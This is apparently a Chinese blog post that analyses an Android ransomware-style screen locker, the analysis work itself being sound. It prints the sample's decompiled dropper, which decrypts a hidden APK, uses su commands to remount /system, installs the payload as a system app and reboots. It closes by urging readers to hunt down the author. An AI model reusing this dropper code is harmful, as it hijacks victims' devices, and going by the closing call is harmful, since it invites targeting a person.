安卓锁机样本分析
Date: Aug 09, 2019
Tags: 分析报告
样本信息
文件名 : wifikillpro.apk
MD5 (wifikillpro.apk) = 93e0fd47ca01f290fb325431ccce159b
分析时间 : 2019-08-09 15:23:07
样本来源 :
今天下午被一个锁机软件坑了一下午!(重置版)
样本静态分析
首先打开样本能看到是个看似正常的程序
能够看到,程序的主activity为pixelitc.network.activities.SplashActivity,接下来我们需要分析的就是这里。
在分析的时候能看到onCreate函数中基本正常,而且上面的函数也都差不多,但是其实有一行是有问题的
别问我怎么知道那个地方有问题的,我先看到的一些危险操作然后交叉引用发现的这里有问题。
具体问题在于有一行cia_nuo.chunuo(this)
这一行调用的函数里面有很多危险操作
package CIA.Chu.p000Nu.p001O;
import android.content.Context;
import android.os.Build;
import android.os.Environment;
import android.os.Process;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
/* renamed from: CIA.Chu.Nu.O.cia_nuo */
public class cia_nuo {
private static int dataOfFile = 0;
private static final int numOfEncAndDec = 102;
private static String path = cia_nuo.m4g();
int iii;
public cia_nuo() {
}
public static void EncFile(File file, File file2) throws Exception {
boolean createNewFile;
File file3 = file;
File file4 = file2;
if (!file4.exists()) {
createNewFile = file4.createNewFile();
}
InputStream inputStream = r10;
InputStream fileInputStream = new FileInputStream(file3);
InputStream inputStream2 = inputStream;
OutputStream outputStream = r10;
OutputStream fileOutputStream = new FileOutputStream(file4);
OutputStream outputStream2 = outputStream;
while (true) {
int read = inputStream2.read();
dataOfFile = read;
if (read <= -1) {
inputStream2.close();
outputStream2.flush();
outputStream2.close();
createNewFile = file3.delete();
return;
}
outputStream2.write(dataOfFile ^ 358);
}
}
/* renamed from: a */
public static void m3a(String str, Context context) throws IOException {
Context context2 = context;
OutputStream outputStream = r12;
OutputStream fileOutputStream = new FileOutputStream(str);
OutputStream outputStream2 = outputStream;
InputStream open = context2.getAssets().open("date.jar");
byte[] bArr = new byte[1024];
int read = open.read(bArr);
while (true) {
int i = read;
if (i <= 0) {
outputStream2.flush();
open.close();
outputStream2.close();
return;
}
outputStream2.write(bArr, 0, i);
read = open.read(bArr);
}
}
public static void act_file(Context context, int i) {
Context context2 = context;
int i2 = i;
try {
boolean deleteFile;
File file;
File file2;
Process exec = Runtime.getRuntime().exec("su");
DataOutputStream dataOutputStream = r11;
DataOutputStream dataOutputStream2 = new DataOutputStream(exec.getOutputStream());
DataOutputStream dataOutputStream3 = dataOutputStream;
try {
StringBuffer stringBuffer = r11;
StringBuffer stringBuffer2 = new StringBuffer();
deleteFile = cia_chu.deleteFile(stringBuffer.append(path).append("/date.html").toString());
cia_nuo.m3a("sdcard/date.jar", context2);
file = r11;
file2 = new File("/mnt/sdcard/date.jar");
file2 = r11;
File file3 = new File("/mnt/sdcard/date.html");
cia_nuo.EncFile(file, file2);
} catch (Exception e) {
Exception exception = e;
}
dataOutputStream3.writeBytes("mount -o rw,remount /\n");
dataOutputStream3.writeBytes("mount -o rw,remount /system\n");
dataOutputStream3.writeBytes("mount -o rw,remount /system/app\n");
dataOutputStream3.writeBytes("cp /sdcard/date.html /system/app/\n");
dataOutputStream3.writeBytes("rm /sdcard/date.html\n");
dataOutputStream3.writeBytes("chmod 777 /system/app/date.html\n");
dataOutputStream3.writeBytes("mv /system/app/date.html /system/app/cia.apk\n");
dataOutputStream3.writeBytes("chmod 644 /system/app/cia.apk\n");
dataOutputStream3.writeBytes("reboot");
dataOutputStream3.flush();
try {
i2 = exec.waitFor();
} catch (InterruptedException e2) {
InterruptedException interruptedException = e2;
}
if (i2 != 0) {
file = r11;
file2 = new File("sdcard/date.html");
File file4 = file;
if (file4.exists()) {
deleteFile = file4.delete();
}
}
} catch (IOException e3) {
IOException iOException = e3;
}
}
public static void chunuo(Context context) {
Context context2 = context;
if (Build.SERIAL.equals("unknown")) {
Process.killProcess(Process.myPid());
return;
}
try {
cia_nuo.act_file(context2, 1);
} catch (Exception e) {
Exception exception = e;
}
}
/* renamed from: g */
public static String m4g() {
String str = (String) null;
if (Environment.getExternalStorageState().equals("mounted")) {
str = Environment.getExternalStorageDirectory().getAbsolutePath();
}
return str;
}
}
这是程序代码,调用的是chunuo
这个函数传入了this,也就是context
这是这个函数用到的一些东西
之后回调用函数cia_nuo.act_file(context2, 1)
我们就去分析这个函数好了,这里的context2依然是之前的context
在函数里回先使用path那么,path来自于cia_nuo.m4g()
,这个函数会去取到内置SD卡绝对路径然后返回给path
然后调用cia_chu.deleteFile去删除某个文件,并且返回删除是否成功,函数内容如下图
之后调用cia_nuo.m3a传入一个相对路径
在这里,能看到他会去Assets文件夹找到data.jar文件,然后创建一个byte数组并且读取数据,就是将data.jar转移了一个文件夹
之后调用了cia_nuo.EncFile,这个函数用于将刚刚的data.jar解密
为啥是EncFile,却是解密操作,这别问我,问傻逼作者去;还有就是他的try...catch的位置,意思就是要是出错,这个毒就不运行了。。。。都不想换个姿势搞搞的吗
写一个脚本,解密出来发现开头是PK,但是内容是apk结构,说明是解密出来一个新的apk
data = ''
with open("date.jar", "rb") as f:
data += f.read()
xor_358 = lambda x : chr(ord(x) ^ (358 & 0xff))
new_data = ''.join(map(xor_358, list(data)))
with open('cia.apk', 'wb') as f:
f.write(new_data)
新的文件结构如下图
接下来是执行命令,全都是su权限执行的
大致内容就是
- 以读写权限挂载几个文件系统
- 复制解密出来的
data.html
到/system/app
/目录下面
- 删除原来的
data.html
- 将
/system/app/data.html
改名为cia.apk
- 重启,然后
cia.apk
就会运行
到此为止我们就应该要去分析下一个apk了
释放的apk包名为
如下图所示,知道了MainActivity
网上的示例
说明注册了个服务用于监听事件
进入com.chunuo.l.chunuo查看,能看到这样的东西,主要是使用了AES/ECB/AES/ECB/PKCS5Padding,并且是AES-256,密钥长度为32字节,他给的密钥按照他的规则在不满足位数的末尾添加0
直到32位然后作为密钥传入。
签名三个decrypt解密了3个字符串,然后最后生成了cn10
,这个cn10在onClick事件里面
能看到有个removeView应该就是验证成功code之后关闭界面吧
这里没有实测,电脑模拟器都卸载了,没打算安装,纯静态分析文章,大佬轻虐,同时他的cn10
用到了很多的单表代换和hash算法,可以显示出作者的傻吊气质。
忍不住还想要diss一下这个作者,都是学技术的人,咋就不懂得总有人更强这个道理呢,看看这代码就知道有多菜了
public void onSensorChanged(SensorEvent sensorEvent) {
int i = 0;
float[] fArr = sensorEvent.values;
float f = fArr[0];
float f2 = fArr[1];
float f3 = fArr[2];
Log.i("TestSensorActivity", new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("傻吊").append(f).toString()).append(";破解啊").toString()).append(f2).toString()).append(";傻逼").toString()).append(f3).toString());
if (Math.abs(f) > ((float) 19) || Math.abs(f2) > ((float) 19) || Math.abs(f3) > ((float) 19)) {
int equals = (this.this$0.w != 2 ? 0 : 1) & this.this$0.et.getText().toString().equals(new StringBuffer().append("").append(this.this$0.O).toString());
if (this.this$0.r == 1) {
i = 1;
}
if ((equals & i) != 0) {
this.this$0.mWindowManager.removeView(this.this$0.mFloatLayout);
this.this$0.stopSelf();
} else if (this.this$0.et.getText().toString().equals(new StringBuffer().append("").append(this.this$0.O).toString())) {
this.this$0.r--;
}
this.this$0.f2ed.vibrate((long) 200);
}
}
信息可以根据文章直接找到,估计已经换QQ了,有能力的可以社$工搞搞鸭